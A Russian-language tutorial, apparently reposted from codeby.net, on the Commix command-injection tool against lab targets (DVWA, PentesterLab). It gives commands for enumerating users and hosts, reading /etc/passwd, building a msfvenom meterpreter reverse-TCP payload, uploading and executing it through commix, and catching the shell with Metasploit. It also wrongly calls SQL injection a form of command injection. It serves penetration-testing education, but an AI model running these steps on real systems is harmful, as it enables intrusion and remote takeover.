Commix простыми словами

Commix простыми словами

@webware

t.me/webware

В этой статье мы узнаем, как использовать один из инструментов Kali Linux - Commix (Command Injection Exploiter ) с нуля.

На практике используя все основные команды, постепенно переходя к продвинутым. 


Введение в Commix

Инструмент Commix предназначен для использования уязвимости внедрения команд в веб-приложениях. Этот инструмент написан на python, что означает, что он совместим с Linux, Windows и Mac. Он поставляется предварительно установленным в Kali Linux, BlackArch и Parrot OS. Этот инструмент позволяет легко находить уязвимости, связанные с внедрением команд, а затем использовать их. Commix удобен для веб-разработчиков, тестеров на проникновение и исследователей безопасности. Он предоставляет пользователю множество опций, таких как возможность указать параметры, которые необходимо подключить к хосту, перечисление жертвы, доступ к файлам и их изменение, а также автономный режим. Словом, это довольно полезный актив для использования уязвимости внедрения команд.


Введение в командную инъекцию

Внедрение команд также известно как внедрение в оболочку или внедрение ОС. Внедрение команд является одной из 10 уязвимостей OWASP. Это атака, при которой произвольные команды хост-ОС выполняются через уязвимое приложение. Такая атака возможна, когда веб-приложение отправляет небезопасные данные пользователя в системную оболочку. Эти пользовательские данные могут быть в любой форме, такой как файлы cookie, формы, заголовки HTTP и так далее. В основном внедрение команд уязвимости становится возможным из-за недостаточной проверки ввода. В этой атаке функциональность приложения по умолчанию расширяется злоумышленником, который затем выполняет системные команды с внедрением вредоносного кода.


Внедрение команд SQL является наиболее популярной формой внедрения команд. Посредством этой атаки злоумышленник добавляет код SQL в поле ввода, чтобы получить доступ в систему. Веб-приложения являются обязательными для таких атак, поскольку именно через них мы взаимодействуем с базовой ОС.


Работа Commix

Commix имеет различные параметры команд, которые вы можете использовать для поиска и подключения к целевому приложению. Такие как, строки данных, HTTP-заголовки, файлы cookie и параметры аутентификации. Commix поддерживает два метода ввода команд: метод на основе результатов и метод слепого ввода команд.


1) Внедрение команды на основе результатов

Этот тип атаки с помощью инъекций позволит вам определить результат введенной команды через результат веб-приложения. Далее он делится на две категории:


Классическое внедрение на основе результатов: это наиболее часто используемый тип внедрения команд и самый простой из всех. При этом используется несколько общих операторов, которые либо связывают подлинные команды с введенными, либо исключают исходные команды в целиком и продолжают выполнять только введенные. Это далее делится еще на три категории: Shellshock, ICMP-эксфильтрация, DNS-эксфильтрация.


Техника на основе Eval: эта техника используется, когда целевое веб-приложение уязвимо для функции eval (). Эта функция используется для выполнения специфического кода, который определен в указанной функции во время выполнения.


2) Инъекция слепой команды

Способ, которым данные извлекаются после выполнения введенной команды оболочки, является основным отличием работы обоих типов. В том случае, если веб-приложение не возвращает злоумышленнику никакого результата - используется слепая команда впрыска.


Есть еще два типа слепого командного внедрения:


а) Техника, основанная на времени:

Использование этой методики задержит время выполнения введенной команды. Проверяя, сколько времени потребовалось приложению для восстановления, злоумышленник сможет определить, была ли команда выполнена успешно или нет.


б) Техника на основе файлов:

Пригодится если вы не можете определить результат по реакции веб-приложения, она позволит написать набор команд, которые должны быть введены в файл, доступный для взлома. Работа в этой технике аналогична технике на основе результатов.


Что нам понадобится :

  • DVWA
  • PentestLab
  • Kali Linux
  • Commix Tool

Некоторые из практических действий мы выполним в программе pentestlab для Linux, а другие - на DVWA для Windows. Давайте начнем изучение Commix на практике. Сначала воспользуемся командой help, чтобы проверить все опции.

commix –h

Теперь давайте попробуем получить сеанс Commix, используя URL. Для этого возьмем URL-адрес, уязвимый для внедрения команды, здесь мы будем использовать URL-адрес pentesterlab, как показано на рисунке ниже:

Используем следующую команду для сеанса Commix через URL:

commix -u <URL>

С помощью этой команды мы получим Commix (os shell), как показано на рисунке ниже:

Далее воспользуемся командой batch, чтобы сеанс commix был по умолчанию:

commix -u <URL> --batch

Теперь, как вы можете видеть на изображении выше, мы напрямую вошли в сессию по умолчанию.


Для того, чтобы получить всю основную информацию о цели, используйте следующую команду:

commix -u <URL> --all

Как показано на рисунке выше, мы получили всю основную информацию о цели.


Далее с помощью следующей команды мы сможем узнать текущего пользователя цели:

commix –u <URL> --current-user

В результате мы видим, что текущим пользователем является www-data.


Далее мы также можем узнать имя хоста с помощью следующей команды:

commix –u <URL> --hostname

Следовательно, хост - Debian.


Теперь мы можем определить, является ли наша цель привелегированной или нет. Итак, для этого у нас есть следующая команда:

commix –u <URL> --is-root

Таким образом, мы обнаружили, что наша цель не является привелегированной.


Используем следующую команду, чтобы получить информацию о системе:

commix –u <URL> --sys-info

После выполнения вышеуказанной команды у нас теперь имеется системная информация.


Чтобы получить информацию о пользователях, используем следующую команду:

commix –u <URL> --user

Таким образом, у нас теперь есть список всех пользователей.


Следующая команда используется, чтобы узнать об администраторе системы:

commix –u <URL> --is-admin

И снова вы можете видеть, что целью является не админ.


Теперь, чтобы прочитать содержимое нужного файла, мы можем использовать следующую команду:

commix –u <URL> --file-read=/etc/passwd

Результаты вышеупомянутой команды показаны на изображении выше.


Далее наши исследования выполняются на DWVA (среда Windows).

Захват cookie с использованием BurpSuite.

Теперь мы используем содержимое файла cookie для проверки нашего сеанса с использованием параметров «—cookie» и «-data».

Эти два параметра используются для отправки строки данных с целью использования метода POST и одновременной проверки нашего сеанса.


Для этого используйте следующую команду:

commix –u <URL> --cookie="security=low; PHPSESSID=2r9avccki91i3uq2eqlud8sg08" --data="ip=127.0.0.1&Submit=Submit"

Далее мы создадим вредоносный файл, используя msfvenom.


Вводим следующую команду, чтобы создать программу:

msfvenom –p python/meterpreter/reverse_tcp lhost=192.168.1.100 lport=1234 –f raw > venom.py

Теперь мы будем использовать полученный файл и загрузим его в нашу цель, используя следующую команду:

commix -u <URL> --cookie="PHPSESSID=4029asg19ejeuibfq30d7lc1o8; security=low" --data="ip=127.0.0.1&Submit=Submit" --file-write="/root/venom.py" --file-dest="/tmp/venom.py" --os-cmd="python /tmp/venom.py"

Вредоносная программа загружена и запущена на целевом компьютере.


Далее будем использовать multi / handler


Применяем следующий набор команд:

use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set lhost eth0
set lport 1234
run

Таким образом, мы получили сеанс meterpreter.


Вот мы и попробовали на практике использовать автоматизированный инструмент commix в своих интересах.

Источник codeby.net

Report Page